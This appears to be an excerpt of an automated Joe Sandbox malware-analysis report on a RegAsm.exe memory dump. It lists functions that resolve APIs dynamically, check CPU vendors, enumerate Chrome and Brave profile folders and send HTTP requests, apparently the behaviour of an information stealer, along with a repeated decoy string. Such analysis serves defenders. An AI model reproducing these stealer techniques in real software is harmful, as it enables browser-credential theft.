The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,0117F1B0), ref: 004198A1
GetProcAddress.KERNEL32(74DD0000,0117F210), ref: 004198BA
GetProcAddress.KERNEL32(74DD0000,0117F258), ref: 004198D2
GetProcAddress.KERNEL32(74DD0000,0117F270), ref: 004198EA
GetProcAddress.KERNEL32(74DD0000,0117F360), ref: 00419903
GetProcAddress.KERNEL32(74DD0000,01182DE0), ref: 0041991B
GetProcAddress.KERNEL32(74DD0000,011829A0), ref: 00419933
GetProcAddress.KERNEL32(74DD0000,01182B40), ref: 0041994C
GetProcAddress.KERNEL32(74DD0000,0117F378), ref: 00419964
GetProcAddress.KERNEL32(74DD0000,0117F2A0), ref: 0041997C
GetProcAddress.KERNEL32(74DD0000,0117F2D0), ref: 00419995
GetProcAddress.KERNEL32(74DD0000,0117F510), ref: 004199AD
GetProcAddress.KERNEL32(74DD0000,011829C0), ref: 004199C5
GetProcAddress.KERNEL32(74DD0000,0117F540), ref: 004199DE
GetProcAddress.KERNEL32(74DD0000,0117F480), ref: 004199F6
GetProcAddress.KERNEL32(74DD0000,01182B60), ref: 00419A0E
GetProcAddress.KERNEL32(74DD0000,0117F498), ref: 00419A27
GetProcAddress.KERNEL32(74DD0000,0117F4B0), ref: 00419A3F
GetProcAddress.KERNEL32(74DD0000,01182A60), ref: 00419A57
GetProcAddress.KERNEL32(74DD0000,0117F4E0), ref: 00419A70
GetProcAddress.KERNEL32(74DD0000,01182B80), ref: 00419A88
LoadLibraryA.KERNEL32(0117F4C8,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(0117F528,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(0117F4F8,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(0117CB00,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(0118A7F8,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75A70000,0118A708), ref: 00419B02
GetProcAddress.KERNEL32(75290000,0118A6F0), ref: 00419B23
GetProcAddress.KERNEL32(75290000,0118A6D8), ref: 00419B3B
GetProcAddress.KERNEL32(75BD0000,0118A720), ref: 00419B5D
GetProcAddress.KERNEL32(75450000,01182A80), ref: 00419B7E
GetProcAddress.KERNEL32(76E90000,01182EF0), ref: 00419B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 6C2535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C2DF688,00001000), ref: 6C2535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C2535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C25363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C25369F
__aulldiv.LIBCMT ref: 6C2536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C253773
EnterCriticalSection.KERNEL32(6C2DF688), ref: 6C25377E
LeaveCriticalSection.KERNEL32(6C2DF688), ref: 6C2537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C2537C4
EnterCriticalSection.KERNEL32(6C2DF688), ref: 6C2537CB
LeaveCriticalSection.KERNEL32(6C2DF688), ref: 6C253801
__aulldiv.LIBCMT ref: 6C253883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C253902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C253918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C25394C

Strings

QPC, xrefs: 6C2538FC
MOZ_TIMESTAMP_MODE, xrefs: 6C2535DB
GTC, xrefs: 6C253912
GenuntelineI, xrefs: 6C253639
AuthcAMDenti, xrefs: 6C253946
)TO/, xrefs: 6C2535AC

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: )TO/$AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-1420009933
Opcode ID: dad134315717541eacbd3aa51ae2cee3f7f4f2b8fb2604d7d35c7eabf8cb4ba0
Instruction ID: ea6a85264b50502058c01d33f8c1c192501091772ee8f07fe9d6c4a2a3cdf050
Opcode Fuzzy Hash: dad134315717541eacbd3aa51ae2cee3f7f4f2b8fb2604d7d35c7eabf8cb4ba0
Instruction Fuzzy Hash: FCB18FB1F052159BDB08DF28C85861BBBF5BB9A700F45892EFC99D37D0D630A900CB85

Function 0040BE70 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Google Chrome, xrefs: 0040C634
Brave, xrefs: 0040C102
Preferences, xrefs: 0040C11E
\Brave\Preferences, xrefs: 0040C1DB

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920
%s\%s, xrefs: 004149FB

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,011927F8), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,011927A8), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,01192968,?,011920C0,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
", xrefs: 00404D33
", xrefs: 00404BF2
------, xrefs: 00404C69
------, xrefs: 00404B28

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
